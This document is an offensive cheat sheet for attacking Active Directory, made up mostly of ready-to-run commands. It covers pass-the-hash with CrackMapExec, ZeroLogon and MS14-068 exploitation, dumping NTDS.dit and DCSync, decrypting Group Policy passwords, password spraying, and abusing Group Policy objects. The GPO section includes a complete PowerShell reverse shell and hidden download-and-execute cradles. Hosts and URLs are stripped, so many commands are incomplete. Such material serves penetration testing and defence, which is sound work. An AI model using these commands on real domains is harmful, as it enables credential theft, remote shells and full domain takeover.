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Active Directory Attacks



  • Impacket or the Windows version
  • Responder
  • InveighZero
  • Mimikatz
  • Ranger
  • AdExplorer
  • CrackMapExec

    # use the latest release, CME is now a binary packaged will all its dependencies
    root@payload$ wget
    # execute cme (smb, winrm, mssql, ...)
    root@payload$ cme smb -L
    root@payload$ cme smb -M name_module -o VAR=DATA
    root@payload$ cme smb -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth
    root@payload$ cme smb -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares
    root@payload$ cme smb -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
    root@payload$ cme smb -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
    root@payload$ cme smb -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST= LPORT=4443
    root@payload$ cme smb -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
    root@payload$ cme smb -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
    root@payload$ cme smb -u user -p 'Password' --local-auth -M mimikatz
    root@payload$ cme mimikatz --server http --server-port 80
  • Mitm6

    git clone && cd mitm6
    pip install .
    mitm6 -d lab.local -wh -t smb:// -i
    # -wh: Server hosting WPAD file (Attacker’s IP)
    # -t: Target (You cannot relay credentials to the same device that you’re spoofing)
    # -i: open an interactive shell -t ldaps://lab.local -wh attacker-wpad --delegate-access
  • ADRecon

    .\ADRecon.ps1 -DomainController -Credential MYAD\myuser
  • Ping Castle
    pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession
    pingcastle.exe --healthcheck --server domain.local
    pingcastle.exe --graph --server domain.local
    pingcastle.exe --scanner scanner_name --server domain.local
    available scanners are:aclcheck,antivirus,corruptADDatabase,foreignusers,laps_bitlocker,localadmin,ullsession,nullsession-trust,share,smb,spooler,startup
  • Kerbrute
    ./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
  • Rubeus
    Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
    Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
    Rubeus.exe klist [/luid:LOGINID]
    Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
  • AutomatedLab
    New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV
    Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows Server 2016 SERVERSTANDARD'

Active Directory Recon

Using BloodHound

Use the correct collector * AzureHound for Azure Active Directory * SharpHound for local Active Directory

use AzureHound

# require: Install-Module -name Az -AllowClobber
# require: Install-Module -name AzureADPreview -AllowClobber
. .\AzureHound.ps1

use BloodHound

# run the collector on the machine using SharpHound.exe
# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe
.\SharpHound.exe -c all -d active.htb -SearchForest
.\SharpHound.exe --EncryptZip --ZipFilename
.\SharpHound.exe -c all,GPOLocalGroup
.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --JSONFolder <PathToFile>
.\SharpHound.exe -c all -d active.htb --LdapUsername <UserName> --LdapPassword <Password> --domaincontroller
.\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp --randomizefilenames --prettyjson --nosavecache --encryptzip --collectallproperties --throttle 10000 --jitter 23

# or run the collector on the machine using Powershell
# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
Invoke-BloodHound -CollectionMethod All  -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>

# or remotely via BloodHound Python
pip install bloodhound
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all

Then import the zip/json files into the Neo4J database and query them.

root@payload$ apt install bloodhound 

# start BloodHound and the database
root@payload$ neo4j console
# or use docker
root@payload$ docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/bloodhound neo4j

root@payload$ ./bloodhound --no-sandbox
Go to, use db:bolt://localhost:7687, user:neo4J, pass:neo4j

You can add some custom queries like Bloodhound-Custom-Queries from @hausec. Replace the customqueries.json file located at /home/username/.config/bloodhound/customqueries.json or C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json.

Using PowerView

  • Get Current Domain: Get-NetDomain
  • Enum Other Domains: Get-NetDomain -Domain <DomainName>
  • Get Domain SID: Get-DomainSID
  • Get Domain Policy:
    #Will show us the policy configurations of the Domain about system access or kerberos
    (Get-DomainPolicy)."system access"
    (Get-DomainPolicy)."kerberos policy"
  • Get Domain Controlers:
    Get-NetDomainController -Domain <DomainName>
  • Enumerate Domain Users:
    Get-NetUser -SamAccountName <user> 
    Get-NetUser | select cn
    #Check last password change
    Get-UserProperty -Properties pwdlastset
    #Get a spesific "string" on a user's attribute
    Find-UserField -SearchField Description -SearchTerm "wtver"
    #Enumerate user logged on a machine
    Get-NetLoggedon -ComputerName <ComputerName>
    #Enumerate Session Information for a machine
    Get-NetSession -ComputerName <ComputerName>
    #Enumerate domain machines of the current/specified domain where specific users are logged into
    Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName
  • Enum Domain Computers:
    Get-NetComputer -FullData
    #Enumerate Live machines 
    Get-NetComputer -Ping
  • Enum Groups and Group Members:
    Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName>
    #Enumerate the members of a specified group of the domain
    Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty Member
    #Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
    Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
  • Enumerate Shares
    #Enumerate Domain Shares
    #Enumerate Domain Shares the current user has access
    Find-DomainShare -CheckShareAccess
  • Enum Group Policies:
    # Shows active Policy on specified machine
    Get-NetGPO -ComputerName <Name of the PC>
    #Get users that are part of a Machine's local Admin group
    Find-GPOComputerAdmin -ComputerName <ComputerName>
  • Enum OUs:
    Get-NetOU -FullData 
    Get-NetGPO -GPOname <The GUID of the GPO>
  • Enum ACLs:
    # Returns the ACLs associated with the specified account
    Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
    Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
    #Search for interesting ACEs
    Invoke-ACLScanner -ResolveGUIDs
    #Check the ACLs associated with a specified path (e.g smb share)
    Get-PathAcl -Path "\\Path\Of\A\Share"
  • Enum Domain Trust:
    Get-NetDomainTrust -Domain <DomainName>
  • Enum Forest Trust:
    Get-NetForestDomain Forest <ForestName>
    #Domains of Forest Enumeration
    Get-NetForestDomain Forest <ForestName>
    #Map the Trust of the Forest
    Get-NetDomainTrust -Forest <ForestName>
  • User Hunting:

    #Finds all machines on the current domain where the current user has local admin access
    Find-LocalAdminAccess -Verbose
    #Find local admins on all machines of the domain:
    Invoke-EnumerateLocalAdmin -Verbose
    #Find computers were a Domain Admin OR a spesified user has a session
    Invoke-UserHunter -GroupName "RDPUsers"
    Invoke-UserHunter -Stealth
    #Confirming admin access:
    Invoke-UserHunter -CheckAccess
    :heavy_exclamation_mark: Priv Esc to Domain Admin with User Hunting: \ I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him ->

    PowerView 3.0 Tricks

Using AD Module

  • Get Current Domain: Get-ADDomain
  • Enum Other Domains: Get-ADDomain -Identity <Domain>
  • Get Domain SID: Get-DomainSID
  • Get Domain Controlers:
    Get-ADDomainController -Identity <DomainName>
  • Enumerate Domain Users:
    Get-ADUser -Filter * -Identity <user> -Properties *
    #Get a spesific "string" on a user's attribute
    Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description
  • Enum Domain Computers:
    Get-ADComputer -Filter * -Properties *
    Get-ADGroup -Filter * 
  • Enum Domain Trust:
    Get-ADTrust -Filter *
    Get-ADTrust -Identity <DomainName>
  • Enum Forest Trust:
    Get-ADForest -Identity <ForestName>
    #Domains of Forest Enumeration
  • Enum Local AppLocker Effective Policy:
    Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Most common paths to AD compromise

MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

This exploit require to know the user SID, you can use rpcclient to remotely get it or wmi if you have an access on the machine.

# remote
rpcclient $> lookupnames john.smith
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)

# loc
wmic useraccount get name,sid
Administrator  S-1-5-21-3415849876-833628785-5197346142-500   
Guest          S-1-5-21-3415849876-833628785-5197346142-501   
Administrator  S-1-5-21-297520375-2634728305-5197346142-500   
Guest          S-1-5-21-297520375-2634728305-5197346142-501   
krbtgt         S-1-5-21-297520375-2634728305-5197346142-502   
lambda         S-1-5-21-297520375-2634728305-5197346142-1110 

# powerview
Convert-NameToSid high-sec-corp.localkrbtgt

Generate a ticket with metasploit or pykek

Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
   Name      Current Setting                                Required  Description
   ----      ---------------                                --------  -----------
   DOMAIN    LABDOMAIN.LOCAL                                yes       The Domain (upper case) Ex: DEMO.LOCAL
   PASSWORD  P@ssw0rd                                       yes       The Domain User password
   RHOSTS                                    yes       The target address range or CIDR identifier
   RPORT     88                                             yes       The target port
   Timeout   10                                             yes       The TCP timeout to establish connection and read data
   USER      lambda                                         yes       The Domain User
   USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
# Alternative download:
$ git clone
$ python ./ -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
$ python ./ -u -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d
$ python ./ -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d
$ python -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
  [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
  [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!

Then use mimikatz to load the ticket.

mimikatz.exe "kerberos::ptc c:\temp\"

⚠️ If the clock is skewed use clock-skew.nse script from nmap

Linux> $ nmap -sV -sC
clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s

Linux> sudo date -s "14 APR 2015 18:25:16" 
Windows> net time /domain /set


  • Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780

CVE-2020-1472 ZeroLogon

White Paper from Secura :

Exploit steps from the white paper

  1. Spoofing the client credential
  2. Disabling signing and sealing
  3. Spoofing a call
  4. Changing a computer's AD password to null
  5. From password change to domain admin
  6. ⚠️ reset the computer's AD password in a proper way to avoid any Deny of Service
  • - Python script from dirkjanm
    $ git clone
    # Activate a virtual env to install impacket
    $ python3 -m venv venv
    $ source venv/bin/activate
    $ pip3 install .
    # Exploit the CVE (
    proxychains python3 DC01
    # Find the old NT hash of the DC
    proxychains -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'
    # Restore password from secretsdump 
    # secretsdump will automatically dump the plaintext machine password (hex encoded) 
    # when dumping the local registry secrets on the newest version
    python CORP/DC01@DC01.CORP.LOCAL -target-ip -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
  • nccfsas - .NET binary for Cobalt Strike's execute-assembly
    git clone
    # Check
    execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local
    # Resetting the machine account password
    execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset
    # Testing from a non Domain-joined machine
    execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
    # Now reset the password back
  • Mimikatz - 2.2.0 20200917 Post-Zerologon
    # Check for the CVE
    lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
    # Exploit the CVE and set the computer account's password to ""
    lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
    # Execute dcsync to extract some hashes
    lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
    lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
    # Pass The Hash with the extracted Domain Admin hash
    sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN
    # Use IP address instead of FQDN to force NTLM with Windows APIs 
    # Reset password to Waza1234/Waza1234/Waza1234/
    lsadump::postzerologon /target: /account:DC01$

Open Shares

  • smbmap
    smbmap -H                # null session
    smbmap -H -R             # recursive listing
    smbmap -H -u invaliduser # guest smb session
    smbmap -H -d "DOMAIN.LOCAL" -u "USERNAME" -p "Password123*"
  • pth-smbclient from path-toolkit
    pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //
    pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //$
    ls  # list files
    cd  # move inside a folder
    get # download files
    put # replace a file
  • smbclient from Impacket
    smbclient -I -L ACTIVE -N -U ""
            Sharename       Type      Comment
            ---------       ----      -------
            ADMIN$          Disk      Remote Admin
            C$              Disk      Default share
            IPC$            IPC       Remote IPC
            NETLOGON        Disk      Logon server share
            Replication     Disk      
            SYSVOL          Disk      Logon server share
            Users           Disk
    use Sharename # select a Sharename
    cd Folder     # move inside a folder
    ls            # list files

SCF and URL file attack against writeable share

Drop the following @something.scf file inside a share and start listening with Responder : responder -wrf --lm -v -I eth0


This attack also works with .url files and responder -I eth0 -v.


Passwords in SYSVOL & Group Policy Preferences

Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.

findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

Decrypt a Group Policy Password found in SYSVOL (by 0x00C651E0), using the 32-byte AES key provided by Microsoft in the MSDN - Password Encryption

echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

Automate the SYSVOL and passwords research

  • Metasploit modules to enumerate shares and credentials
  • CrackMapExec modules
    cme smb -u Administrator -H 89[...]9d -M gpp_autologin
    cme smb -u Administrator -H 89[...]9d -M gpp_password
  • Get-GPPPassword
    # with a NULL session -no-pass 'DOMAIN_CONTROLLER'
    # with cleartext credentials 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
    # pass-the-hash -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'


  • Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
  • Delete existing GPP xml files in SYSVOL containing passwords.
  • Don’t put passwords in files that are accessible by all authenticated users.

Exploit Group Policy Objects GPO

Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

🚩 GPO Priorization : Organization Unit > Domain > Site > Local

GPO are stored in the DC in \\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\, inside two folders User and Machine. If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at Machine\Preferences\ScheduledTasks.

⚠️ Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command: gpupdate /force.

Find vulnerable GPO

Look a GPLink where you have the Write right.

Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs |  Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}

Abuse GPO with SharpGPOAbuse

# Build and configure SharpGPOAbuse
$ git clone
$ Install-Package CommandLineParser -Version
$ ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll

# Adding User Rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

# Adding a Local Admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

# Configuring a User or Computer Logon Script
.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(''))\"" --GPOName "Vulnerable GPO"

# Configuring a Computer or User Immediate Task
# /!\ Intended to "run once" per GPO refresh, not run once per system
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(''))\"" --GPOName "Vulnerable GPO"
.\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LOCAL\User' --TaskName "EvilTask" --Arguments  "/c powershell.exe -nop -w hidden -enc BASE64_ENCODED_COMMAND " --Command "cmd.exe" --Force

Abuse GPO with PowerGPOAbuse

PS> . .\PowerGPOAbuse.ps1

# Adding a localadmin 
PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'

# Assign a new right 
PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'

# Adding a New Computer/User script 
PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'

# Create an immediate task 
PS> Add-UserTask/Add-ComputerTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator

Abuse GPO with pyGPOAbuse

$ git clone

# Add john user to local administrators group (Password: H4x00r123..)
./ DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"

# Reverse shell example
./ DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \ 
    -powershell \ 
    -command "\$client = New-Object System.Net.Sockets.TCPClient('',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \ 
    -taskname "Completely Legit Task" \
    -description "Dis is legit, pliz no delete" \ 

Abuse GPO with PowerView

# Enumerate GPO
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force

Dumping AD Domain Credentials

You will need the following files to extract the ntds : - NTDS.dit file - SYSTEM hive (C:\Windows\System32\SYSTEM)

Usually you can find the ntds in two locations : systemroot\NTDS\ntds.dit and systemroot\System32\ntds.dit. - systemroot\NTDS\ntds.dit stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data). - systemroot\System32\ntds.dit is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.

However you can change the location to a custom one, you will need to query the registry to get the current location.

reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"

Using ndtsutil

ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit


ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q

Using Vshadow

vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit

You can also use the Nishang script, available at :

Import-Module .\Copy-VSS.ps1
Copy-VSS -DestinationDir C:\ShadowCopy\

Using vssadmin

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

Using DiskShadow (a Windows signed binary)

diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%

NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s  c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak

Using esentutl.exe

Copy/extract a locked file such as the AD Database

esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit

Extract hashes from ntds.dit

then you need to use secretsdump to extract the hashes, use the LOCAL options to use it on a retrieved ntds.dit -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

secretsdump also works remotely

./ -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status 
./ -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@
  • -pwd-last-set: Shows pwdLastSet attribute for each NTDS.DIT account.
  • -user-status: Display whether or not the user is disabled.

Alternatives - modules

Metasploit modules


PowerSploit module

Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit

CrackMapExec module

cme smb -u username -p password --ntds vss
cme smb -u username -p password --ntds drsuapi #default

Using Mimikatz DCSync

Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.

# DCSync only one user
mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt

# DCSync all users of the domain
mimikatz# lsadump::dcsync /domain:htb.local /all /csv

⚠️ Read-Only Domain Controllers are not allowed to pull password data for users by default.

Using Mimikatz sekurlsa

Dumps credential data in an Active Directory domain when run on a Domain Controller. ⚠️ Requires administrator access with debug or Local SYSTEM rights

lsadump::lsa /inject /name:krbtgt

Crack NTLM hashes with hashcat

Useful when you want to have the clear text password or when you need to make stats about weak passwords.

Recommended wordlists: - rockyou (available in Kali Linux) - Have I Been Powned ( - Collection #1 (passwords from Data Breaches, might be illegal to possess)

# Basic wordlist
# (-O) will Optimize for 32 characters or less passwords
# (-w 4) will set the workload to "Insane" 
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r ./rules/best64.rule --opencl-device-types 1,2

# Generate a custom mask based on a wordlist
$ git clone
$ python2 ../hashcat.potfile -o hashcat.mask
$ python2 hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.hcmask

⚠️ If the password is not a confidential data (challenges/ctf), you can use online "cracker" like : - -

Password spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.

The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.

Most of the time the best passwords to spray are :

  • P@ssw0rd01, Password123, mimikatz
  • Welcome1/Welcome01
  • $Companyname1 : $Microsoft1
  • SeasonYear : Winter2019*,Spring2020!,Summer2018?
  • Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)

Kerberos pre-auth bruteforcing

Using kerbrute, a tool to perform Kerberos pre-auth bruteforcing.

Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).

# Username bruteforce
root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc usernames.txt

# Password brute
root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc rockyou.txt username

# Password spray
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc domain_users.txt Password123
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc domain_users.txt rockyou.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log

Spray a pre-generated passwords list

Using crackmapexec and mp64 to generate passwords and spray them against SMB services on the network.

crackmapexec smb -u Administrator -p `(./mp64.bin Pass@wor?l?a)`

Using DomainPasswordSpray to spray a password against all users of a domain.

Invoke-DomainPasswordSpray -Password Summer2021!

# /!\ be careful with the account lockout !
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt

Spray passwords against the RDP service

Using RDPassSpray to target RDP services.

git clone
python3 -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]

Using hydra and ncrack to target RDP services.

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://
ncrack connection-limit 1 -vv --user administrator -P password-file.txt rdp://

Password in AD User comment

enum4linux | grep -i desc
There are 3-4 fields that seem to be common in most AD schemas: 
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.

Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
or dump the Active Directory and grep the content.

ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd -o ~/Documents/AD_DUMP/

Reading GMSA Password

User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically changed.

GMSA Attributes in the Active Directory

  • msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) - stores the security principals that can access the GMSA password.
  • msds-ManagedPassword - This attribute contains a BLOB with password information for group-managed service accounts.
  • msDS-ManagedPasswordId - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
  • msDS-ManagedPasswordInterval - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.

Extract NT hash from the Active Directory

  • GMSAPasswordReader (C#)
    GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
  • gMSADumper (Python) powershell # python3 -u User -p Password1 -d domain.local
  • Active Directory Powershell
    $gmsa =  Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword'
    $blob = $gmsa.'msDS-ManagedPassword'
    $mp = ConvertFrom-ADManagedPasswordBlob $blob
    $hash1 =  ConvertTo-NTHash -Password $mp.SecureCurrentPassword

Reading LAPS Password

Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.

Determine if LAPS is installed

Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'

Extract LAPS password

The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users

  • CrackMapExec
    crackmapexec smb -u user -H 8846f7eaee8fb117ad06bdd830b7586c -M laps
  • Powerview
    PS > Import-Module .\PowerView.ps1
    PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
  • LAPSToolkit -
    $ Get-LAPSComputers
    ComputerName                Password                                 Expiration         
    ------------                --------                                 ----------         
    exmaple.domain.local        dbZu7;vGaI)Y6w1L                         02/21/2021 22:29:18
    $ Find-LAPSDelegatedGroups
    $ Find-AdmPwdExtendedRights
  • ldapsearch
